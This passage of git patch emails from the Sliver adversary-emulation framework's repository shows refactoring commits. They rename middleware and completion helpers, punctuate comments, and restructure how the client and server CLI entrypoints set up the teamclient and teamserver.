pair. type TokenAuth string -// logMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. // This function uses the core teamclient loggers to log the gRPC stack/requests events. // The Teamclient of this package uses them by default. -func logMiddlewareOptions(cli *client.Client) []grpc.DialOption { +func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { logrusEntry := cli.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ grpc_logrus.WithLevels(common.CodeToLevel), @@ -66,7 +84,7 @@ func logMiddlewareOptions(cli *client.Client) []grpc.DialOption { return options } -func tlsAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { +func TLSAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { config := cli.Config() if config.PrivateKey == "" { return nil, ErrNoTLSCredentials diff --git a/client/version/sliver-version.go b/client/version/sliver-version.go index fae3a87c4d..7d0c4e2d5a 100644 --- a/client/version/sliver-version.go +++ b/client/version/sliver-version.go @@ -31,23 +31,23 @@ const ( ) var ( - // Version - The semantic version in string form + // Version - The semantic version in string form. Version string - // GoVersion - Go compiler version + // GoVersion - Go compiler version. GoVersion string - // GitCommit - The commit id at compile time + // GitCommit - The commit id at compile time. GitCommit string - // GitDirty - Was the commit dirty at compile time + // GitDirty - Was the commit dirty at compile time. GitDirty string - // CompiledAt - When was this binary compiled + // CompiledAt - When was this binary compiled. CompiledAt string ) -// SemanticVersion - Get the structured sematic version +// SemanticVersion - Get the structured sematic version. func SemanticVersion() []int { semVer := []int{} version := Version @@ -61,7 +61,7 @@ func SemanticVersion() []int { return semVer } -// Compiled - Get time this binary was compiled +// Compiled - Get time this binary was compiled. func Compiled() (time.Time, error) { compiled, err := strconv.ParseInt(CompiledAt, 10, 64) if err != nil { @@ -70,7 +70,7 @@ func Compiled() (time.Time, error) { return time.Unix(compiled, 0), nil } -// FullVersion - Full version string +// FullVersion - Full version string. func FullVersion() string { ver := fmt.Sprintf("%s", Version) compiled, err := Compiled() diff --git a/client/version/updates.go b/client/version/updates.go index 963d7040ef..e4b50b3de6 100644 --- a/client/version/updates.go +++ b/client/version/updates.go @@ -16,10 +16,8 @@ const ( dateLayout = "2006-01-02T15:04:05Z" ) -var ( - // GithubReleasesURL - Check this Github releases API for updates - GithubReleasesURL string -) +// GithubReleasesURL - Check this Github releases API for updates. +var GithubReleasesURL string // Release - A single Github release object // https://developer.github.com/v3/repos/releases/ @@ -49,12 +47,12 @@ type Asset struct { BrowserDownloadURL string `json:"browser_download_url"` } -// Created - Get the time the release was created +// Created - Get the time the release was created. func (r *Release) Created() (time.Time, error) { return time.Parse(dateLayout, r.CreatedAt) } -// Published - Get the time the release was published +// Published - Get the time the release was published. func (r *Release) Published() (time.Time, error) { return time.Parse(dateLayout, r.PublishedAt) } @@ -113,7 +111,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) { return nil, nil } -// parseGitTag - Get the structured sematic version +// parseGitTag - Get the structured sematic version. func parseGitTag(tag string) []int { semVer := []int{} version := tag From d5d24e60c182c96e52f0e1c4fcd0f2f023e15a14 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 21:34:49 +0200 Subject: [PATCH 058/124] Rename a completion pre-runner --- client/command/beacons/beacons.go | 1 + client/command/beacons/commands.go | 2 +- client/command/crack/helpers.go | 6 +++--- client/command/creds/creds.go | 4 ++-- client/command/generate/helpers.go | 14 +++++++------- client/command/generate/implants.go | 2 +- client/command/generate/profiles.go | 2 +- client/command/jobs/jobs.go | 2 +- client/command/pivots/helpers.go | 2 +- client/command/rportfwd/portfwd.go | 2 +- client/command/tasks/helpers.go | 4 ++-- client/command/use/use.go | 2 +- client/command/websites/websites.go | 2 +- client/command/wireguard/wg-portfwd-rm.go | 2 +- client/command/wireguard/wg-socks.go | 2 +- 15 files changed, 25 insertions(+), 24 deletions(-) diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index a92f992e55..02f0928381 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -89,6 +89,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } + PrintBeacons(beacons.Beacons, filter, filterRegex, con) } diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 791a2f9fc6..5e3349c868 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -80,7 +80,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { // BeaconIDCompleter completes beacon IDs. func BeaconIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index d2eed38a45..89c1446a6e 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -12,7 +12,7 @@ import ( func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -39,7 +39,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -67,7 +67,7 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 2bc5072a89..910122bd5d 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -112,7 +112,7 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { // CredsCollectionCompleter completes existing creds collection names. func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -139,7 +139,7 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { // CredsCredentialIDCompleter completes credential IDs. func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 992bd5b051..32c7c1306d 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -64,7 +64,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient // FormatCompleter completes builds' architectures. func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -102,7 +102,7 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { // FormatCompleter completes build operating systems. func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -149,7 +149,7 @@ func FormatCompleter() carapace.Action { // TrafficEncoderCompleter - Completes the names of traffic encoders. func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -178,7 +178,7 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { // MsfFormatCompleter completes MsfVenom stager formats. func MsfFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -206,7 +206,7 @@ func MsfFormatCompleter(con *console.SliverClient) carapace.Action { // MsfArchCompleter completes MsfVenom stager architectures. func MsfArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -233,7 +233,7 @@ func MsfArchCompleter(con *console.SliverClient) carapace.Action { // MsfFormatCompleter completes MsfVenom stager encoders. func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -260,7 +260,7 @@ func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { // MsfPayloadCompleter completes Metasploit payloads. func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index c6c7f4cd0a..12b6e65f3e 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -125,7 +125,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl // ImplantBuildNameCompleter - Completer for implant build names. func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 161c623ed5..72b1403402 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -422,7 +422,7 @@ func PrintProfileInfo(name string, con *console.SliverClient) { // ProfileNameCompleter - Completer for implant build names. func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index 079a64bb9c..b54567d6eb 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -91,7 +91,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { // JobsIDCompleter completes jobs IDs with descriptions. func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index dad68bf2b3..506bf9a4fd 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -68,7 +68,7 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive // PivotIDCompleter completes pivot listeners' IDs. func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 1daa35d673..5adeea6120 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -80,7 +80,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags // PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 41fd042cdc..04d8b88e61 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -51,7 +51,7 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -120,7 +120,7 @@ func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { // BeaconPendingTasksCompleter completes pending tasks. func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/use/use.go b/client/command/use/use.go index e6b8616d73..19ef853fd8 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -198,7 +198,7 @@ func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { // SessionIDCompleter completes session IDs. func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index a8a9335d81..fc7ee3e7d5 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -112,7 +112,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { // WebsiteNameCompleter completes the names of available websites. func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index 98922eea7d..ca57e19b51 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -68,7 +68,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string // PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index eb4aa2e4dc..aae46850c6 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -75,7 +75,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string // SocksIDCompleter IDs of WireGuard socks servers. func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectCompletion(); err != nil { + if msg, err := con.ConnectComplete(); err != nil { return msg } From 15a01fc145294821c1fb44ef683b5a2d394cc13d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 22:21:07 +0200 Subject: [PATCH 059/124] Ultimate refactoring/tidying of sliver entrypoints --- client/cli/cli.go | 113 +++++++------------- client/cli/implant.go | 2 +- client/command/console/console.go | 5 +- server/cli/cli.go | 172 ++++++++++-------------------- 4 files changed, 94 insertions(+), 198 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index dbebfdf141..7e4469cc70 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -23,11 +23,9 @@ import ( "os" "github.com/bishopfox/sliver/client/command" - consoleCmd "github.com/bishopfox/sliver/client/command/console" + sliverConsole "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/transport" "github.com/reeflective/console" - teamclient "github.com/reeflective/team/client" "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -39,39 +37,22 @@ func Execute() { // Sliver Client, prepared with a working reeflective/teamclient. // The teamclient automatically handles remote teamserver configuration // prompting/loading and use, as well as other things. - con := newSliverClient() - - // Prepare the entire Sliver Command-line Interface as yielder functions. - serverCmds, sliverCmds := getSliverCommands(con) - - // Generate a single tree instance of server commands: - // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with - // a pre-runner ensuring the server and its teamclient are set up and connected. - rootCmd := serverCmds() - rootCmd.Use = "sliver-client" // Needed by completion scripts. + con, err := client.NewSliverClient() + if err != nil { + panic(err) + } - // Version - rootCmd.AddCommand(cmdVersion) + // Generate our complete Sliver Framework command-line interface. + rootCmd, server := SliverCLI(con) - // Bind the closed-loop console: + // Bind the closed-loop console. // The console shares the same setup/connection pre-runners as other commands, // but the command yielders we pass as arguments don't: this is because we only // need one connection for the entire lifetime of the console. - rootCmd.AddCommand(consoleCmd.Command(con, serverCmds, sliverCmds)) - - // Implant. - // The implant command allows users to run commands on slivers from their - // system shell. It makes use of pre-runners for connecting to the server - // and binding sliver commands. These same pre-runners are also used for - // command completion/filtering purposes. - rootCmd.AddCommand(implantCmd(con, sliverCmds)) - - // Pre/post runners and completions. - command.BindRunners(rootCmd, true, preRunClient(con)) - command.BindRunners(rootCmd, false, postRunClient(con)) + rootCmd.AddCommand(sliverConsole.Command(con, server)) - // Generate the root completion command. - carapace.Gen(rootCmd) + // Version + rootCmd.AddCommand(cmdVersion) // Run the sliver client binary. if err := rootCmd.Execute(); err != nil { @@ -80,64 +61,42 @@ func Execute() { } } -// newSliverClient creates a new application teamclient. -// From this teamclient, configured to work with TLS connections -// to remote teamservers, generate a new Sliver Client. -func newSliverClient() *client.SliverClient { - gTeamclient := transport.NewTeamClient() - - con, opts := client.NewSliverClient(gTeamclient) - - teamclient, err := teamclient.New("sliver", gTeamclient, opts...) - if err != nil { - panic(err) - } - - con.Teamclient = teamclient - - return con -} - -// getSliverCommands returns the entire command tree of the Sliver Framework as yielder functions. -func getSliverCommands(con *client.SliverClient) (server, sliver console.Commands) { +// SliverCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped +// with all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +func SliverCLI(con *client.SliverClient) (root *cobra.Command, server console.Commands) { teamclientCmds := func(con *client.SliverClient) []*cobra.Command { return []*cobra.Command{ commands.Generate(con.Teamclient), } } - serverCmds := command.ServerCommands(con, teamclientCmds) - sliverCmds := command.SliverCommands(con) + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + server = command.ServerCommands(con, teamclientCmds) - return serverCmds, sliverCmds -} + root = server() + root.Use = "sliver-client" // Needed by completion scripts. -// Before running any CLI entry command, require the Sliver client to connect to a teamserver. -func preRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(cmd *cobra.Command, _ []string) error { - // Don't stream console asciicast/logs when using the completion subcommand. - // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. - if compCommandCalled(cmd) { - con.CompleteDisableLog() - } + // Implant. + // The implant command allows users to run commands on slivers from their + // system shell. It makes use of pre-runners for connecting to the server + // and binding sliver commands. These same pre-runners are also used for + // command completion/filtering purposes. + sliver := command.SliverCommands(con) - return con.Teamclient.Connect() - } -} + root.AddCommand(implantCmd(con, sliver)) -// After running any CLI entry command, correctly disconnect from the server. -func postRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(_ *cobra.Command, _ []string) error { + // Pre/post runners and completions. + command.BindRunners(root, true, con.ConnectRun) + command.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { return con.Disconnect() - } -} + }) -func compCommandCalled(cmd *cobra.Command) bool { - for _, compCmd := range cmd.Root().Commands() { - if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { - return true - } - } + // Generate the root completion command. + carapace.Gen(root) - return false + return root, server } diff --git a/client/cli/implant.go b/client/cli/implant.go index 85eaff1379..d0dfc14948 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -59,7 +59,7 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { return func(cmd *cobra.Command, args []string) error { - if err := preRunClient(con)(cmd, args); err != nil { + if err := con.ConnectRun(cmd, args); err != nil { return err } diff --git a/client/command/console/console.go b/client/command/console/console.go index 0bff089286..a53e2ae533 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -19,13 +19,14 @@ package console */ import ( + "github.com/bishopfox/sliver/client/command" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" "github.com/spf13/cobra" ) -func Command(con *client.SliverClient, serverCmds, sliverCmds console.Commands) *cobra.Command { +func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Command { consoleCmd := &cobra.Command{ Use: "console", Short: "Start the sliver client console", @@ -37,7 +38,7 @@ func Command(con *client.SliverClient, serverCmds, sliverCmds console.Commands) server.SetCommands(serverCmds) sliver := con.App.Menu(consts.ImplantMenu) - sliver.SetCommands(sliverCmds) + sliver.SetCommands(command.SliverCommands(con)) // Start the console, blocking until player exit. return con.StartConsole() diff --git a/server/cli/cli.go b/server/cli/cli.go index 4f5a378dfc..2bef0643f9 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -20,7 +20,6 @@ package cli import ( "fmt" - "log" "os" // CLI dependencies @@ -30,7 +29,6 @@ import ( // Teamserver/teamclient dependencies "github.com/reeflective/team/server" - teamserver "github.com/reeflective/team/server" "github.com/reeflective/team/server/commands" // Sliver Client core, and generic/server-only commands @@ -46,48 +44,37 @@ import ( // Server-only imports "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/cryptography" ) // Execute the sliver server binary. func Execute() { - // Create a self-serving teamserver: - // This teamserver creates an in-memory -gRPC-transported- teamclient - // (which is not yet connected). The server is also able to serve remote - // clients, although no persistent/network listeners are started by default. - // - // The server-only teamclient is used to create a Sliver Client, which functioning - // is agnostic to its execution mode (one-exec CLI, or closed-loop console). - // The client has no commands available yet. - teamserver, con := newSliverServer() + // Create a new Sliver Teamserver: the latter is able to serve all remote + // clients for its users, over any of the available transport stacks (MTLS/TS. + // Persistent teamserver client listeners are not started by default. + teamserver, opts, err := transport.NewTeamserver() + if err != nil { + panic(err) + } - // Prepare the entire Sliver Command-line Interface as yielder functions: - // - Server commands are all commands which don't need an active Sliver implant. - // These commands include a server-binary-specific set of "teamserver" commands. - // - Sliver commands are all commands requiring an active target. - serverCmds, sliverCmds := getSliverCommands(teamserver, con) + // Use the specific set of dialing options passed by the teamserver, + // and use them to create an in-memory sliver teamclient, identical + // in behavior to remote ones. + // The client has no commands available yet. + con, err := client.NewSliverClient(opts...) + if err != nil { + panic(err) + } - // Generate a single tree instance of server commands: - // These are used as the primary, one-exec-only CLI of Sliver, and are equiped with - // a pre-runner ensuring the server and its teamclient are set up and connected. - rootCmd := serverCmds() - rootCmd.Use = "sliver-server" // Needed by completion scripts. + // Generate our complete Sliver Framework command-line interface. + rootCmd, server := sliverServerCLI(teamserver, con) // Bind the closed-loop console: // The console shares the same setup/connection pre-runners as other commands, // but the command yielders we pass as arguments don't: this is because we only // need one connection for the entire lifetime of the console. - rootCmd.AddCommand(consoleCmd.Command(con, serverCmds, sliverCmds)) - - // Completion setup: - carapace.Gen(rootCmd) - command.BindRunners(rootCmd, true, preRunServer(teamserver, con)) - // command.BindRunners(rootCmd, false, func(_ *cobra.Command, _ []string) error { - // return con.Teamclient.Disconnect() - // }) + rootCmd.AddCommand(consoleCmd.Command(con, server)) // Run the target Sliver command: // Three different examples here, to illustrate. @@ -110,86 +97,57 @@ func Execute() { } } -// newSliverServer creates a new application teamserver. -// The gRPC listener is hooked with an in-memory teamclient, and the latter -// is passed to our client console package to create a new SliverClient. -func newSliverServer() (*teamserver.Server, *client.SliverClient) { - // - // 1) Teamserver --------- - // - - // We can use several teamserver listener/stack backends. - tlsListener := transport.NewListener() - tailscaleListener := transport.NewTailScaleListener() - - // Here is an import step, where we are given a change to setup - // the reeflective/teamserver with everything we want: our own - // database, the application daemon default port, loggers or files, - // directories, and much more. - var serverOpts []teamserver.Options - serverOpts = append(serverOpts, - teamserver.WithDefaultPort(31337), - teamserver.WithListener(tlsListener), - teamserver.WithListener(tailscaleListener), - ) - - // Create the application teamserver. - // Any error is critical, and means we can't work correctly. - teamserver, err := teamserver.New("sliver", serverOpts...) - if err != nil { - log.Fatal(err) - } +// sliverServerCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped with +// all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +// +// Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here). +func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command, server console.Commands) { + teamserverCmds := teamserverCmds(team, con) - // - // 2) Teamclient --------- - // + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + server = command.ServerCommands(con, teamserverCmds) - // The gRPC teamserver backend is hooked to produce a single - // in-memory teamclient RPC/dialer backend. Not encrypted. - gTeamclient := transport.NewClientFrom(tlsListener) + root = server() + root.Use = "sliver-server" // Needed by completion scripts. - // Pass the gRPC teamclient backend to our console package, - // with registers a hook to bind its RPC client and start - // monitoring events/logs/etc when asked to connect. - // - // The options returned are used to dictate to the server - // how it should configure and run its self-teamclient. - sliver, opts := client.NewSliverClient(gTeamclient) + // Pre/post runners and completions. + command.BindRunners(root, true, preRunServer(team, con)) + command.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { + return con.Disconnect() + }) - // And let the server create its own teamclient, - // pass to the Sliver client for normal usage. - sliver.Teamclient = teamserver.Self(opts...) + // Generate the root completion command. + carapace.Gen(root) - return teamserver, sliver + return root, server } -// getSliverCommands wraps the `teamserver` specific commands in a command yielder function, passes those -// server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode -// agnostic Command-Line-Interface for the Sliver Framework. -func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (server, sliver console.Commands) { - teamserverCmds := func(con *client.SliverClient) (cmds []*cobra.Command) { +// Yielder function for server-binary only functions. +func teamserverCmds(teamserver *server.Server, con *client.SliverClient) func(con *client.SliverClient) (cmds []*cobra.Command) { + return func(con *client.SliverClient) (cmds []*cobra.Command) { // Teamserver management cmds = append(cmds, commands.Generate(teamserver, con.Teamclient)) // Sliver-specific cmds = append(cmds, version.Commands(con)...) cmds = append(cmds, assetsCmds.Commands()...) - cmds = append(cmds, builderCmds.Commands(con)...) cmds = append(cmds, certsCmds.Commands(con)...) + // Commands requiring the server to be a remote teamclient. + cmds = append(cmds, builderCmds.Commands(con, teamserver)...) + return cmds } - - serverCmds := command.ServerCommands(con, teamserverCmds) - sliverCmds := command.SliverCommands(con) - - return serverCmds, sliverCmds } // preRunServer is the server-binary-specific pre-run; it ensures that the server // has everything it needs to perform any client-side command/task. func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(cmd *cobra.Command, _ []string) error { + return func(cmd *cobra.Command, args []string) error { // Ensure the server has what it needs. assets.Setup(false, true) encoders.Setup() // WARN: I added this here after assets.Setup(), but used to be in init. Is it wrong to put it here ? @@ -199,42 +157,20 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c cryptography.MinisignServerPrivateKey() // TODO: Move this out of here. - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - - // Don't stream console asciicast/logs when using the completion subcommand. - // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. - if compCommandCalled(cmd) { - con.CompleteDisableLog() - } + // serverConfig := configs.GetServerConfig() + // c2.StartPersistentJobs(serverConfig) // Let our in-memory teamclient be served. - return teamserver.Serve(con.Teamclient) - } -} - -func compCommandCalled(cmd *cobra.Command) bool { - for _, compCmd := range cmd.Root().Commands() { - if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { - return true + err := teamserver.Serve(con.Teamclient) + if err != nil { + return err } - } - return false + return con.ConnectRun(cmd, args) + } } // preRun := func(cmd *cobra.Command, _ []string) error { -// // Ensure the server has what it needs -// assets.Setup(false, true) -// certs.SetupCAs() -// certs.SetupWGKeys() -// cryptography.AgeServerKeyPair() -// cryptography.MinisignServerPrivateKey() -// -// // Let our runtime teamclient be served. -// if err := teamserver.Serve(teamclient); err != nil { -// return err -// } // // // Start persistent implant/c2 jobs (not teamservers) // // serverConfig := configs.GetServerConfig() From 96585c13dba08e7a1ce04b78dd44e77373c11131 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 22:25:35 +0200 Subject: [PATCH 060/124] Comment console command yielder --- client/cli/cli.go | 2 +- client/command/console/console.go | 6 ++++++ server/cli/cli.go | 2 -- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 7e4469cc70..7aa4bd9bab 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -31,7 +31,7 @@ import ( "github.com/spf13/cobra" ) -// Execute - Run the sliver-client binary. +// Execute - Run the sliver client binary. func Execute() { // Create a client-only (remote TLS-transported connections) // Sliver Client, prepared with a working reeflective/teamclient. diff --git a/client/command/console/console.go 